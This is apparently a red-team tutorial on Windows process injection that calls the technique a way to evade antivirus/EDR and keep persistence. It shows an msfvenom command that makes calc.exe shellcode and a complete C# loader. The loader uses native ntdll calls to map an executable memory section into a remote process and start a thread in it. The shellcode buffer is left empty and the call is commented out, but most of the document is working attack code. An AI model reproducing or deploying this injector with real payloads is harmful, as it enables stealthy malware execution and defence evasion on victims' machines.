Process injection is a technique used to inject code into a running process on a target machine. This can be done to evade AV/EDRs as well as maintaining persistence on a target machine.
This technique leverages the below low-level native APIs.
Copy msfvenom -a x64 --platform Windows -p windows/x64/exec CMD="C:\Windows\System32\calc.exe" -f csharp EXITFUNC=thread
Now we should be able to reflectively. copy our shellcode into the remote process.
Copy using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace nt_PInject
{
internal class Program
{
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
[DllImport("ntdll.dll")]
public static extern void RtlInitUnicodeString(
ref UNICODE_STRING DestinationString,
[MarshalAs(UnmanagedType.LPWStr)] string SourceString);
static void InitializeObjectAttributes(
ref OBJECT_ATTRIBUTES objAttr,
ref UNICODE_STRING name,
int attr,
IntPtr root,
IntPtr secDesc)
{
objAttr.Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES));
objAttr.RootDirectory = root;
objAttr.ObjectName = IntPtr.Zero;
objAttr.Attributes = (uint)attr;
objAttr.SecurityDescriptor = secDesc;
objAttr.SecurityQualityOfService = IntPtr.Zero;
}
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtOpenProcess(
ref IntPtr ProcessHandle,
UInt32 AccessMask,
ref OBJECT_ATTRIBUTES ObjectAttributes,
ref CLIENT_ID ClientId);
[StructLayout(LayoutKind.Sequential, Pack = 0)]
struct OBJECT_ATTRIBUTES
{
public Int32 Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
static extern UInt32 NtCreateSection(
ref IntPtr SectionHandle,
UInt32 DesiredAccess,
IntPtr ObjectAttributes,
ref UInt32 MaximumSize,
UInt32 SectionPageProtection,
UInt32 AllocationAttributes,
IntPtr FileHandle);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
UIntPtr ZeroBits,
UIntPtr CommitSize,
out ulong SectionOffset,
out uint ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect);
[DllImport("ntdll.dll", SetLastError = true)]
static extern IntPtr RtlCreateUserThread(
IntPtr processHandle,
IntPtr threadSecurity,
bool createSuspended,
Int32 stackZeroBits,
IntPtr stackReserved,
IntPtr stackCommit,
IntPtr startAddress,
IntPtr parameter,
ref IntPtr threadHandle,
IntPtr clientId);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtUnmapViewOfSection(
IntPtr hProc,
IntPtr baseAddr);
[DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
static extern int NtClose(
IntPtr hObject);
static void Main(string[] args)
{
//nt_PInject(args[0]);
return;
}
private static void nt_PInject(string processname)
{
// shellcode
byte[] buffer = new byte[296];
int bufLength = buffer.Length;
UInt32 ubufLength = (UInt32)bufLength;
// get handle on local and remote process
IntPtr localProcessHandle = Process.GetCurrentProcess().Handle;
string targetProcess = processname;
IntPtr remoteProcessHandle = IntPtr.Zero;
UNICODE_STRING name = new UNICODE_STRING();
RtlInitUnicodeString(ref name, null);
OBJECT_ATTRIBUTES objAttr = new OBJECT_ATTRIBUTES();
InitializeObjectAttributes(ref objAttr, ref name, 0, IntPtr.Zero, IntPtr.Zero);
objAttr.ObjectName = name.Buffer;
CLIENT_ID clientId = new CLIENT_ID
{
UniqueProcess = new IntPtr(Process.GetProcessesByName(targetProcess)[0].Id),
UniqueThread = IntPtr.Zero
};
NtOpenProcess(ref remoteProcessHandle, (uint)ProcessAccessFlags.All, ref objAttr, ref clientId);
// Creating new RWX memory section object
IntPtr sectionHandle = IntPtr.Zero;
NtCreateSection(ref sectionHandle, (uint)DesiredAccess.SECTION_MAP_READ | (uint)DesiredAccess.SECTION_MAP_WRITE | (uint)DesiredAccess.SECTION_MAP_EXECUTE, IntPtr.Zero, ref ubufLength, (uint)DesiredAccess.PAGE_EXECUTE_READWRITE, (uint)DesiredAccess.SEC_COMMIT, IntPtr.Zero);
// Mapping view of create section into the local process (R-W)
IntPtr localBaseAddress = IntPtr.Zero;
ulong localSectionOffset = 0;
NtMapViewOfSection(sectionHandle, localProcessHandle, ref localBaseAddress, UIntPtr.Zero, UIntPtr.Zero, out localSectionOffset, out ubufLength, 2, 0, (uint)DesiredAccess.PAGE_READ_WRITE);
// Mapping view of created section into the remote process (R-E)
IntPtr remoteBaseAddress = IntPtr.Zero;
ulong remoteSectionOffset = 0;
NtMapViewOfSection(sectionHandle, remoteProcessHandle, ref remoteBaseAddress, UIntPtr.Zero, UIntPtr.Zero, out remoteSectionOffset, out ubufLength, 2, 0, (uint)DesiredAccess.PAGE_READ_EXECUTE);
Marshal.Copy(buffer, 0, localBaseAddress, bufLength);
// Execute remote thread
IntPtr threadHandle = IntPtr.Zero;
RtlCreateUserThread(remoteProcessHandle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, remoteBaseAddress, IntPtr.Zero, ref threadHandle, IntPtr.Zero);
// Cleaning up
NtUnmapViewOfSection(localProcessHandle, localBaseAddress);
NtClose(sectionHandle);
}
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF
}
public enum DesiredAccess : uint
{
SECTION_MAP_READ = 0x0004,
SECTION_MAP_WRITE = 0x0002,
SECTION_MAP_EXECUTE = 0x0008,
PAGE_READ_WRITE = 0x04,
PAGE_READ_EXECUTE = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
SEC_COMMIT = 0x8000000
}
}
}